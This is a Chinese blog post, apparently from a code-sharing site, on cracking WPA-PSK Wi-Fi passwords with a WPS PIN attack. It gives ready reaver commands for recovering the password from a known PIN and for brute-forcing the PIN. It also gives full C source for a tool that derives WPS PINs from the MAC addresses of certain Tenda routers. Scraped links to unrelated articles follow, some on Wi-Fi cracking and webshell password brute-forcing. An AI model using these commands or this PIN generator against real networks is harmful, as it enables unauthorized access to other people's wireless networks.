之前掌握到的破解WPA-PSK密码仅限于使用aircreack工具包获取handshake后挂字典爆破方式,而能否破解出wpa密码完全依赖于字典强度了。除了该方式外还有一个更有效的办法,就是使用路由PIN码然后使用BT5下自带的Reaver工具秒破WPA-PSK密码!

在已知PIN码的情况下可以在BT5下使用 reaver -i mon0 -b AP‘s Mac -p pin 直接秒破!

现在比较难的就是怎么得到PIN的问题了,经常关注无线这方面的朋友应该知道现在腾达和磊科产品有保PIN算法漏洞,如果路由MAC地址是以“C83A35”或“00B00C”打头那么可以直接计算出PIN值,然后使用PIN值直接连接或者继续使用PIN值加reaver破解出wpa-psk。

除此之外,根据PIN特点同样也可以使用Reaver来穷举,pin码是一个8位数前四位是随机生成的而后4位是3个数字加1个checksum大大降低了穷举所需要的时间。

在BT5下可以使用 reaver -i mon0 -b AP's Mac -vv 来破解,这个过程可能需要花很多个小时,在网上有看到是3-10个小时,具体的我还未验证。reaver在此过程中还会保存进度(/usr/local/etc/reaver/AP’s MAC.wpc)到文件。

不过使用PIN方法破解WPA-PSK密码有一个限制,就是AP必须开启了QSS、WPS功能!我们可以在扫描AP的时候判断目标AP是否开启了QSS、WPS功能,如下图使用airodump-ng扫描时候在MB栏中后面有个“.”的就是。

或者在win7下面,连接AP时候在密码输入框下面有“通过按路由器按钮也可以连接”字样也是开启了QSS、wps的。

“C83A35”或“00B00C”打头路由PIN计算工具源码,大家可以自己编译:

//Computes PIN code starts with OUI "C83A35" and "00B00C"

//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.

//Coded by Zhaochunsheng - iBeini.com

//Modified by Lingxi - WiFiBETA.COM

#include <stdio.h>

#include <stdlib.h>

#include <stdafx.h>

int main()

{

unsigned int wps_pin_checksum(unsigned int pin);

int PIN = 0;

//   printf("ComputePIN-C83A35\n");

printf("Description:\n");

printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");

printf("type the other six digits, you might be able to get the \n");

printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");

printf("Code by ZhaoChunsheng 04/07/2012 http://www.2cto.com \n\n");

printf("Modified by Lingxi - WiFiBETA.COM\n\n");

//Translated to Chinese

printf("说明:\n");

printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");

printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");

printf("祝你好运!\n\n");

printf("由赵春生编写于2012年4月7日  Http://iBeini.com\n");

printf("由灵曦修改并汉化  WiFiBETA.COM\n\n");

printf("请输入后六位MAC地址(HEX):\n");

printf("Input the last 6 digits of MAC Address(HEX):");

scanf("%x",&PIN);  printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);

printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

return 0;

}

unsigned int wps_pin_checksum(unsigned int pin)

{

unsigned int accum = 0;

while (pin)

{

accum += 3 * (pin % 10);

pin /= 10;

accum += pin % 10;

pin /= 10;

}

return (10 - accum % 10) % 10;

}

使用Reaver加PIN码秒破WPA-PSK密码的更多相关文章

  1. 跑PIN码破解无线网络WIFI密码的原理分析(转)

    你们家用的无线路由器安全吗?有人蹭网吗?无线路由器的漏洞在哪里?这么避免蹭网? 想要了解这些,必须要了解加密以及破解原理. 工具/原料 电脑 足够多足够好的wifi信号源 usb无线网卡(非必需) 一 ...

  2. ubuntu14.04使用reaver跑pin码

    今天刚说过没找到支持ubuntu14.04用reaver跑pin的旧版库文件这就有摸索到方法了... 另外安装系统ubuntu14.04以及一系列破解工具比如aircrack,minidwep等都不在 ...

  3. 有个网站秒破mdb访问密码

    http://tools.bugscaner.com/crackmdb/网站

  4. 无线安全专题_破解篇02--kali破解pin码

    最近项目有点紧,所以本应该上周发的文章,拖到了本周三,在此说声抱歉.无线安全专题,我打算系统地写六个部分,分别为破解篇,攻击篇,欺骗篇,路由篇,移动篇和蓝牙篇,当然在发布的过程中,可能还会掺杂着发布f ...

  5. 使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)

    来自wikipeida: Wi-Fi保护设置(简称WPS,全称Wi-Fi Protected Setup)是一个无线网络安全标准,旨在让家庭用户使用无线网络时简化加密步骤.此标准由Wi-Fi联盟(Wi ...

  6. [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY

    工具: K8_FuckOneShell 20161224编译: VS2012  C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...

  7. kali拿取路由器pin码

    前序:拿pin码就可以直接跑出WPA PSK, 下面开始记录我的操作过程. 网卡监控模式 airmon-ng start wlan0 扫描 wash -i wlan0mon 破pin 网卡 物理地址 ...

  8. kali-通过获取路由器pin码套取无线网络密码shell脚本

    直接上脚本吧, 我做个笔记. #************************************************************************* # > Fil ...

  9. kali PIN码破解

    airmon-ng start wlan0   //开启网卡airodump-ng wlan0mon    //监听模式,查找开启wps的apreaver -i wlan0mon -b [ap’s m ...

随机推荐

  1. Types of AOP

    There are two distinct types of AOP: static and dynamic. The difference between them is really the p ...

  2. Java WeakHashMap 源码解析

    前面把基于特定数据结构的Map介绍完了,它们分别利用了相应数据结构的特点来实现特殊的目的,像HashMap利用哈希表的快速插入.查找实现O(1)的增删改查,TreeMap则利用了红黑树来保证key的有 ...

  3. 两个关于XML解析报错问题小记

    Caused by: org.xml.sax.SAXParseException: The string "--" is not permitted within comments ...

  4. Zend框架2入门(一) (转)

    By Rob Allen, www.akrabat.com 修订0.1.2文件版权所有? 2011本教程的目的是给创建一个简单的数据库的介绍使用Zend Framework 2驱动的应用程序使用模型 ...

  5. linux开机自动启动脚本

      前言linux有自己一套完整的启动 体系,抓住了linux启动 的脉络,linux的启动 过程将不再神秘.阅读之前建议先看一下附图.本文中假设inittab中设置的init tree为:/etc/ ...

  6. js截取字符串区分汉字字母代码

    js截取字符串并且区分汉字字母,一个汉字辨别为两个字节. function substr(str, len) { if (!str || !len) { return ''; } // 预期计数:中文 ...

  7. LSI MegaCli 命令使用2

    #/opt/MegaRAID/MegaCli/MegaCli64 -LDInfo -Lall -aALL 查raid级别#/opt/MegaRAID/MegaCli/MegaCli64 -AdpAll ...

  8. /etc/motd and /etc/issue

    /etc/motd and /etc/issue Bash offers an option to include messages in the /etc/motd and the /etc/iss ...

  9. sass笔记-3|Sass基础语法之样式复用和保持简洁

    上一篇详述了Sass如何嵌套.导入和注释这3个基本方式来保持条理性和可读性,这一篇更进一步地阐述sass保持样式复用和简洁的方式--混合器和选择器继承--这两种方式都能复用样式,使用它们也不难,但一定 ...

  10. Python 常量与变量

    先在lib文件夹中定义一个模块 class _const(object): class ConstError(TypeError):pass def __setattr__(self, name, v ...